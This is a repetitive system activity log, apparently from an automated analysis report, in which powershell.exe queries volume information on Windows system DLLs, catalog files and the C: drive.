Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
